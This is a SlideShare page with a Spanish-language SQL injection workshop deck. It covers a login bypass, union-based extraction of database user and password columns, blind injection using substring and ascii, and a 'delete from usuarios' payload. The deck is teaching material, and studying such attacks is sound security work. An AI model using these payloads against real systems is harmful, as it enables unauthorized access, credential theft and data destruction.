Sql injection

1,120 views

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
1,120
On SlideShare
0
From Embeds
0
Number of Embeds
3
Actions
Shares
0
Downloads
62
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Sql injection

  1. 1.  Problemas de configuración del servidor. Bugs en los modulos del framework usado en el sitio (Actualizaciones) Problemas en la lógica del negocio › Manejo incorrecto de archivos. › Mal filtrado de variables.
  2. 2.  Problemas en la lógica del negocio › Mal filtrado de variables .  $login=$_POST[login];  $login <- roguer  $login <- ‘
  3. 3.  Internamente › SELECT * FROM usuarios WHERE nombre= „$login‟ AND password=„$pass‟ SELECT * FROM usuarios WHERE nombre = „roguer‟ AND password=„contrasena‟ SELECT * FROM usuarios WHERE nombre = „‟‟ AND password=„‟‟
  4. 4.  Paginas de inicio de sesión › Nombre de Usuario › Contraseña http://mi_ip/Taller
  5. 5. „or‟‟=„„or‟1‟=„1Select * from usuarios where nombre=„„or‟‟=„‟ AND password=„„or‟‟=„‟
  6. 6.  Operaciones sobre consultas › Order by › Union › Limit
  7. 7.  Pagina que gestiona el contenido de una base de datos. › Paginas que contienen un parámetro tipo id › ¿ Y si hacemos que ese sea id=„ ? “Error”
  8. 8.  ¿Se esta consultando una tabla de la base de datos? ¿Nos muestra algún error? Que nos sirve saber acerca de la tabla consultada?
  9. 9.  Obteniendo el numero de columnas › Pagina.php?id=-1+order+by+X—  ¿Porque -1?  ¿Que hace el order by en esta consulta? ¿Como puedo obtener un resultado de la inyección?
  10. 10.  Obteniendo un resultado visible en el sitio. › Pagina.php?id=- 1+union+select+1,2,3.,.,n— › ¿Cual es la diferencia ahora? › ¿Para que esos números?
  11. 11.  Funciones de mysql › Version() › User() › Database() › Concat()
  12. 12.  Obteniendo información de la conexión. › Pagina.php?id=- 1+union+select+1,user(),3.,.,n— › ¿Cual es la diferencia ahora? › ¿Qué resultado arrojó?
  13. 13.  Malicia Indígena o information.schema. › Pagina.php?id=-1+union+ select+1,2,3.,.,n+from+tabla— › ¿Qué resultado arrojó?
  14. 14.  ¿Si tengo el nombre de la tabla y las columnas que puedo hacer? Pagina.php?id=-1+union+select+1,login,pass, ...,n+from+usuarios— ¿Cómo paso al siguiente registro?
  15. 15.  ¿Y si la pagina no genera errores al hacer id=„?
  16. 16.  Estructura de la consulta › SELECT * FROM noticias WHERE id=$id › SELECT * FROM noticias WHERE id=5 › SELECT * FROM noticias WHERE id=5 AND 1=1
  17. 17.  Concepto de Subconsultas › SELECT count(*) FROM tabla › SELECT count(campo) FROM tabla › SELECT * FROM noticias WHERE id=5 AND 1=1
  18. 18.  Uniendo campos y usando operadores › SELECT concat(login,0x3a,password) FROM usuarios LIMIT 0,1 › substring(campo,carater_inicio,tamaño) › substring(campo,1,1) › Ascii(caracter)
  19. 19.  ¿Toca sacar carácter por carácter? ¿Cómo se cuantos caracteres debo sacar?
  20. 20.  ¿Es esto critico? ¿Para puede servir esta información? ¿A través de SQL-Inyection solo se puede sacar información? › login=‘roguer’;delete from usuarios--

×